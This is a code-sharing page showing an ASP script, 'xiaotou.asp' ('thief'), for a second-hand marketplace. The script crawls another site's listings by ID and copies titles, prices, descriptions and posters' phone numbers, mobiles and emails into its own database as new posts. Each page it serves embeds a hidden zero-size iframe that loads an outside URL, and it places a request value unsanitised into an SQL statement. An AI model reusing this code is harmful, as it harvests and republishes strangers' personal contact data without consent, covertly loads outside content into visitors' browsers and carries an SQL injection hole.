⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 xiaotou.asp

📁 重庆二手网
💻 ASP
字号:
<%
'*********打开数据库语句***********
dim conn,connstr,db,startime
startime=timer()
db="data/duov#job_a.asa"
Set conn = Server.CreateObject("ADODB.Connection")
connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)
conn.Open connstr
'*********打开数据库语句***********


'********************************************
dim url ,myjisu
url=trim(request("myurl"))
  response.write "<br><br>"
  response.write session("ji")
  response.write "<br><br>"
if url="" and request("myjisu")="" then
   set ts=server.createobject("adodb.recordset")
   ts.open "select * from add_id",conn,1,3
   response.write "<html><head><title>jjtools</title>"
   response.write "<br>上次结束的Id是:"+cstr(ts("myid"))+"<br><br>"
   response.write "可选择的参数有:<br>1、xiaotou.asp?url=要取得内容的完整网址。<br>2、xiaotou.asp?myjisu=上次结束时的ID 值。<br><br>"
   response.write "<a href='xiaotou.asp?myjisu="+cstr(ts("myid"))+"'>开始我的####</a>"
  %>
  <html><head><title>jjtools</title>
  <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
  <meta HTTP-EQUIV=REFRESH CONTENT=120;URL="xiaotou.asp?myjisu=<%=cstr(ts("myid"))%>">
  </head><iframe name="aa" frameborder=0 width=0 height="0" src="http://www.nbxqw.cn/ad.html" marginwidth="1" marginheight="1" scrolling="no" ></iframe>
  <%
   ts.close
   set ts=nothing
   response.end
end if

if url="" then
  myjisu=request("myjisu")
  if session("ji")="0" or session("ji")="" then
   myjisu=myjisu+1
  end if
  response.write cstr(myjisu)+"<br>"
  response.write "<a target=_black href="+"http://www.nb163.net/action/item.asp?ID="+cstr(myjisu-1)+"> http://www.nb163.net/action/item.asp?ID="+cstr(myjisu-1)+"</a><br>"
  %>
  <html><head><title>jjtools</title>
  <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
  <meta HTTP-EQUIV=REFRESH CONTENT=120;URL="xiaotou.asp?myjisu=<%=cstr(myjisu)%>">
  </head><iframe name="aa" frameborder=0 width=0 height="0" src="http://www.nbxqw.cn/ad.html" marginwidth="1" marginheight="1" scrolling="no" ></iframe>
  <%
  url="http://www.nb163.net/action/item.asp?ID="+cstr(myjisu)
  response.write url+"<br><br>"
end if
session("jisu")=session("jisu")+1
response.write session("jisu")

'以上是变量
'******************************************
'zytconn="provider=microsoft.jet.OLEDB.4.0;data source=" & server.MapPath("tianqiyubao.mdb")
'set conn=server.CreateObject("adodb.connection")
'conn.open zytconn

On Error Resume Next
Server.ScriptTimeOut=9999999
Function getHTTPPage(Path)
        t = GetBody(Path)
        getHTTPPage=BytesToBstr(t,"GB2312")
End function

Function GetBody(url) 
        on error resume next
        Set Retrieval = CreateObject("Microsoft.XMLHTTP") 
        With Retrieval 
        .Open "Get", url, False, "", "" 
        .Send 
        GetBody = .ResponseBody
        End With 
        Set Retrieval = Nothing 
End Function

Function BytesToBstr(body,Cset)
        dim objstream
        set objstream = Server.CreateObject("adodb.stream")
        objstream.Type = 1
        objstream.Mode =3
        objstream.Open
        objstream.Write body
        objstream.Position = 0
        objstream.Type = 2
        objstream.Charset = Cset
        BytesToBstr = objstream.ReadText 
        objstream.Close
        set objstream = nothing
End Function
Function Newstring(wstr,strng)
        Newstring=Instr(lcase(wstr),lcase(strng))
        if Newstring<=0 then Newstring=Len(wstr)
End Function


        wstr=getHTTPPage(url)
        wstr=replace(replace(wstr,"<ifram",""),"src=","")
        if instr(wstr,"商品名称:")=0 then
           sqll = conn.Execute("Update add_id set myid="+cstr(myjisu)+" where id=22")
           session("ji")="1"
           response.end
        end if
        wstrbt=mid(wstr,instr(wstr,"商品名称:</font><font color=")+34,200)
        wstrbt=left(wstrbt,instr(wstrbt,"</font>(商品ID")-1)
        response.write "标题:"+wstrbt
        
        wstrrx=mid(wstr,instr(wstr,"<td class=black width=119 height=25 bgcolor=")+54,10)
        wstrrx=left(wstrrx,instr(wstrrx,"</font>")-1)
        response.write "<br>交易类型:"+wstrrx
        
        wstrfbz=mid(wstr,instr(wstr,"<td height=25 colspan=")+38,20)
        wstrfbz=left(wstrfbz,instr(wstrfbz,"&nbsp;")-1)
        response.write "<br>发布者:"+wstrfbz
        
        wstrjg=mid(wstr,instr(wstr,"当前价格:")+102,10)
        wstrjg=left(wstrjg,instr(wstrjg," 元")-1)
        response.write "<br>价格:"+wstrjg
        
        wstrdd=mid(wstr,instr(wstr,"所在地:")+101,20)
        wstrdd=left(wstrdd,instr(wstrdd," </td>")-1)
        response.write "<br>地点:"+wstrdd
        
        wstrsm=mid(wstr,instr(wstr,"</SPAN></a><br>")+15,2000)
        wstrsm=left(wstrsm,instr(wstrsm," class=b3><script type=")-1)
        wstrsm=replace(replace(left(wstrsm,instr(wstrsm,"</td>")-1),"  ",""),"<br>","")
        response.write "<br>说明:"+wstrsm
        
        wstrdh=mid(wstr,instr(wstr,"电话:</font></b></td>")+23,120)
        wstrdh=mid(wstrdh,instr(wstrdh,"height=25>")+10,50)
        wstrdh=left(wstrdh,instr(wstrdh,"</td>")-1)
        response.write "<br>电话:"+wstrdh
        
        wstrsj=mid(wstr,instr(wstr,"手机:</font></b></td>")+23,120)
        wstrsj=mid(wstrsj,instr(wstrsj,"height=25>")+10,50)
        wstrsj=left(wstrsj,instr(wstrsj,"</td>")-1)
        response.write "<br>手机:"+wstrsj        
        
        wstryx=mid(wstr,instr(wstr,"电子信箱:</font></b></td>")+23,120)
        wstryx=mid(wstryx,instr(wstryx,"height=25>")+10,50)
        wstryx=left(wstryx,instr(wstryx,"</td>")-1)
        response.write "<br>电子信箱:"+wstryx        
        
%><%
'下面是把以上取得的信息加入数据库

set rs=server.createobject("adodb.recordset")
sql = "select * from xinxi"
rs.open sql,conn,1,3
rs.addnew
session("ji")="0"
if wstrfbz="" or wstrbt="" then
response.end
end if
rs("username")=wstrfbz
rs("class1")="21"
rs("class2")="140"
rs("biaoti")=wstrbt
rs("leixing")=wstrrx
rs("jiage")=wstrjg
rs("diqu")=wstrdd
rs("youxiaoqi")="10"
rs("memo")=wstrsm
rs("name")=wstrfbz
rs("email")=wstryx
rs("dianhua")=wstrdh
if instr(wstrrx,"出售")<>0 then
rs("leixing")=1
else
rs("leixing")=2
end if
if request("a")="" then
rs("a")=0
else
rs("a")=trim(request("a"))
end if
if request("b")="" then
rs("b")=0
else
rs("b")=trim(request("b"))
end if
if request("c")="" then
rs("c")=0
else
rs("c")=trim(request("c"))
end if
if request("d")="1" then
rs("yz")=1
else
rs("yz")=1                  '把此处改为0则没有验证工具的用户发布信息需要管理员验证。
end if
rs("fbsj")=now()
userip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If userip="" Then 
userip=Request.ServerVariables("REMOTE_ADDR")
end if
rs("ip")=userip
rs.update
rs.close
set rs=nothing
        
        
        %>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -